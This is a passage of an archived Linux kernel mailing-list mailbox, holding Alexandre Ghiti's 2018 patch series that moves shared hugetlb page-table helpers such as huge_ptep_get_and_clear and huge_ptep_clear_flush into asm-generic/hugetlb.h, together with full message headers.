@@ -36,6 +36,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 77c8adbac7c3..6e281e1bb336 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -8,6 +8,7 @@
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 			      pte_t *ptep);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index ba7d5d8b543f..ec3e0c2e78f8 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -132,6 +132,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index bc552e37c1c9..08ee6c00b5e9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,12 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 16b0c53ea6c9..944e3a4bfaff 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -16,6 +16,7 @@ extern struct pud_huge_patch_entry __pud_huge_patch, __pud_huge_patch_end;
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 			      pte_t *ptep);
 
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 554d5614b375..48b8d9b13cc6 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index ee010b756246..0f6f151780dd 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -57,4 +57,12 @@ static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
+static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
+		unsigned long addr, pte_t *ptep)
+{
+	return ptep_get_and_clear(mm, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 05/11] hugetlb: Introduce generic version of huge_ptep_clear_flush
Date: Thu,  5 Jul 2018 04:58:41 +0000
Lines: 157
Approved: news@gmane.org
Message-ID: <20180705045847.32575-6-alex@ghiti.fr>
References: <20180705045847.32575-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530766674 3172 195.159.176.226 (5 Jul 2018 04:57:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 04:57:54 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 06:57:47 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fawKx-0000gA-7f
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 06:57:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753447AbeGEE7z (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 00:59:55 -0400
Original-Received: from relay8-d.mail.gandi.net ([217.70.183.201]:53299 "EHLO
        relay8-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753295AbeGEE7u (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 00:59:50 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay8-d.mail.gandi.net (Postfix) with ESMTPSA id BB3091BF205;
        Thu,  5 Jul 2018 04:59:42 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705045847.32575-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812021 gmane.linux.ports.arm.kernel:660913 gmane.linux.ports.ia64:28885 gmane.linux.ports.mips.general:65245 gmane.linux.ports.parisc:28736 gmane.linux.ports.ppc64.devel:159668 gmane.linux.ports.sh.devel:57158 gmane.linux.ports.sparc:28060 gmane.linux.kernel.cross-arch:45005
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812021>

arm, x86 architectures use the same version of
huge_ptep_clear_flush, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 1 +
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 1 +
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 ++++++++
 10 files changed, 15 insertions(+), 12 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index ad36e84b819a..b897541520ef 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
-					 unsigned long addr, pte_t *ptep)
-{
-	ptep_clear_flush(vma, addr, ptep);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 6ae0bcafe162..4c8dd488554d 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -71,6 +71,7 @@ extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
 				  unsigned long addr, pte_t *ptep);
 #define __HAVE_ARCH_HUGE_PTE_CLEAR
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 6719c74da0de..41b5f6adeee4 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,6 +20,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 0959cc5a41fa..7df1f116a3cc 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -48,6 +48,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 	return pte;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 6e281e1bb336..9afff26747a1 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -32,6 +32,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index ec3e0c2e78f8..de0769f0b5b2 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -143,6 +143,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 #endif
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 08ee6c00b5e9..9abf9c86b769 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,6 +25,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 944e3a4bfaff..651a9593fcee 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -42,6 +42,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 48b8d9b13cc6..8347d5abf882 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
-					 unsigned long addr, pte_t *ptep)
-{
-	ptep_clear_flush(vma, addr, ptep);
-}
-
 static inline int huge_pte_none(pte_t pte)
 {
 	return pte_none(pte);
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 0f6f151780dd..ffa63fd8388d 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -65,4 +65,12 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
+static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
+		unsigned long addr, pte_t *ptep)
+{
+	ptep_clear_flush(vma, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 00/11] hugetlb: Factorize architecture hugetlb primitives
Date: Thu,  5 Jul 2018 05:03:12 +0000
Lines: 50
Approved: news@gmane.org
Message-ID: <20180705050323.301-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530766896 19158 195.159.176.226 (5 Jul 2018 05:01:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:01:36 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 07:01:29 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fawOX-0004aS-BQ
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 07:01:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753105AbeGEFDj (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 01:03:39 -0400
Original-Received: from relay8-d.mail.gandi.net ([217.70.183.201]:43707 "EHLO
        relay8-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752912AbeGEFDh (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 01:03:37 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay8-d.mail.gandi.net (Postfix) with ESMTPSA id 938E81BF206;
        Thu,  5 Jul 2018 05:03:31 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812025 gmane.linux.ports.arm.kernel:660914 gmane.linux.ports.ia64:28886 gmane.linux.ports.mips.general:65246 gmane.linux.ports.parisc:28737 gmane.linux.ports.ppc64.devel:159669 gmane.linux.ports.sh.devel:57159 gmane.linux.ports.sparc:28061 gmane.linux.kernel.cross-arch:45007
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812025>

In order to reduce copy/paste of functions across architectures and then
make riscv hugetlb port (and future ports) simpler and smaller, this
patchset intends to factorize the numerous hugetlb primitives that are defined
across all the architectures.

Except for prepare_hugepage_range, this patchset moves the versions that
are just pass-through to standard pte primitives into
asm-generic/hugetlb.h by using the same #ifdef semantic that can be
found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.

s390 architecture has not been tackled in this serie since it does not
use asm-generic/hugetlb.h at all.
powerpc could be factorized a bit more (cf huge_ptep_set_wrprotect).

This patchset has been compiled on x86 only.

Alexandre Ghiti (11):
  hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
  hugetlb: Introduce generic version of hugetlb_free_pgd_range
  hugetlb: Introduce generic version of set_huge_pte_at
  hugetlb: Introduce generic version of huge_ptep_get_and_clear
  hugetlb: Introduce generic version of huge_ptep_clear_flush
  hugetlb: Introduce generic version of huge_pte_none
  hugetlb: Introduce generic version of huge_pte_wrprotect
  hugetlb: Introduce generic version of prepare_hugepage_range
  hugetlb: Introduce generic version of huge_ptep_set_wrprotect
  hugetlb: Introduce generic version of huge_ptep_set_access_flags
  hugetlb: Introduce generic version of huge_ptep_get

 arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
 arch/arm/include/asm/hugetlb.h               | 33 +----------
 arch/arm64/include/asm/hugetlb.h             | 39 +++---------
 arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
 arch/mips/include/asm/hugetlb.h              | 40 +++----------
 arch/parisc/include/asm/hugetlb.h            | 33 +++--------
 arch/powerpc/include/asm/book3s/32/pgtable.h |  2 +
 arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
 arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
 arch/powerpc/include/asm/nohash/32/pgtable.h |  2 +
 arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
 arch/sh/include/asm/hugetlb.h                | 54 ++---------------
 arch/sparc/include/asm/hugetlb.h             | 40 +++----------
 arch/x86/include/asm/hugetlb.h               | 72 +----------------------
 include/asm-generic/hugetlb.h                | 88 +++++++++++++++++++++++++++-
 15 files changed, 143 insertions(+), 384 deletions(-)

-- 
2.16.2



From - Thu Nov 08 21:41:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 01/11] hugetlb: Harmonize hugetlb.h arch specific defines
 with pgtable.h
Date: Thu,  5 Jul 2018 05:12:32 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <20180705051242.694-1-alex@ghiti.fr>
References: <20180705050323.301-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530767496 29571 195.159.176.226 (5 Jul 2018 05:11:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:11:36 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com, will.deacon@arm.com,
 tony.luck@intel.com, fenghua.yu@intel.com, ralf@linux-mips.org,
 paul.burton@mips.com, jhogan@kernel.org, jejb@parisc-linux.org,
 deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
 mpe@ellerman.id.au, ysato@users.sourceforge.jp, dalias@libc.org,
 davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
 x86@kernel.org, arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 05 07:11:29 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1fawYD-0007Yq-0a
	for linux-arm-kernel@m.gmane.org; Thu, 05 Jul 2018 07:11:29 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=WyEsQ5qdfAuUOkcdIQRF99EBdgZPr6XhhIVVZINC6Uw=; b=eMKqkXuQwDunx7DNrsqR1aQu8v
	MeKXeQ1ipbhSB+0vFFqskxCxZ0XG7jkh+218r5CAeF+9TZU0fuD0MsKYklBNVM9PS0522nCst4VBU
	nWdtAt4U38oPF5+LDz4UpkO1o5U//AojrNghKwjZzlngtRB9gRngs8rp/zytfpqgrkVenyd5Vzrle
	0EldwysQlcwxPBDgcyoao7MpgidwXESFVwsKeZSTxM2V+4ZGKtqZGPoxW5VMImqbLi5M/FykKPTbQ
	oyUNmUnL7QpQudWeCOWu/K1rFWeILiyPIsXRqMoXrbAg0bmMfMTZt8+i0t+Ux4z6Q0bis4D+EyPD7
	44hMSlZQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fawaH-0008C2-ML; Thu, 05 Jul 2018 05:13:37 +0000
Original-Received: from relay10.mail.gandi.net ([217.70.178.230])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fawaC-000811-8e
 for linux-arm-kernel@lists.infradead.org; Thu, 05 Jul 2018 05:13:34 +0000
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
 (Authenticated sender: alex@ghiti.fr)
 by relay10.mail.gandi.net (Postfix) with ESMTPSA id E6775240007;
 Thu,  5 Jul 2018 05:13:02 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705050323.301-1-alex@ghiti.fr>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180704_221332_530504_263B8632 
X-CRM114-Status: UNSURE (   8.93  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: 0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:660917 gmane.linux.kernel:2812030 gmane.linux.ports.ia64:28887 gmane.linux.ports.mips.general:65247 gmane.linux.ports.parisc:28738 gmane.linux.ports.ppc64.devel:159670 gmane.linux.ports.sh.devel:57160 gmane.linux.ports.sparc:28062 gmane.linux.kernel.cross-arch:45008
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/660917>

asm-generic/hugetlb.h proposes generic implementations of hugetlb
related functions: use __HAVE_ARCH_HUGE* defines in order to make arch
specific implementations of hugetlb functions consistent with pgtable.h
scheme.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm64/include/asm/hugetlb.h | 2 +-
 include/asm-generic/hugetlb.h    | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index e73f68569624..3fcf14663dfa 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -81,9 +81,9 @@ extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
 extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
 				  unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTE_CLEAR
 extern void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 			   pte_t *ptep, unsigned long sz);
-#define huge_pte_clear huge_pte_clear
 extern void set_huge_swap_pte_at(struct mm_struct *mm, unsigned long addr,
 				 pte_t *ptep, pte_t pte, unsigned long sz);
 #define set_huge_swap_pte_at set_huge_swap_pte_at
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 9d0cde8ab716..3da7cff52360 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -32,7 +32,7 @@ static inline pte_t huge_pte_modify(pte_t pte, pgprot_t newprot)
 	return pte_modify(pte, newprot);
 }
 
-#ifndef huge_pte_clear
+#ifndef __HAVE_ARCH_HUGE_PTE_CLEAR
 static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 		    pte_t *ptep, unsigned long sz)
 {
-- 
2.16.2

From - Thu Nov 08 21:41:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 03/11] hugetlb: Introduce generic version of set_huge_pte_at
Date: Thu,  5 Jul 2018 05:12:34 +0000
Lines: 178
Approved: news@gmane.org
Message-ID: <20180705051242.694-3-alex@ghiti.fr>
References: <20180705050323.301-1-alex@ghiti.fr>
 <20180705051242.694-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
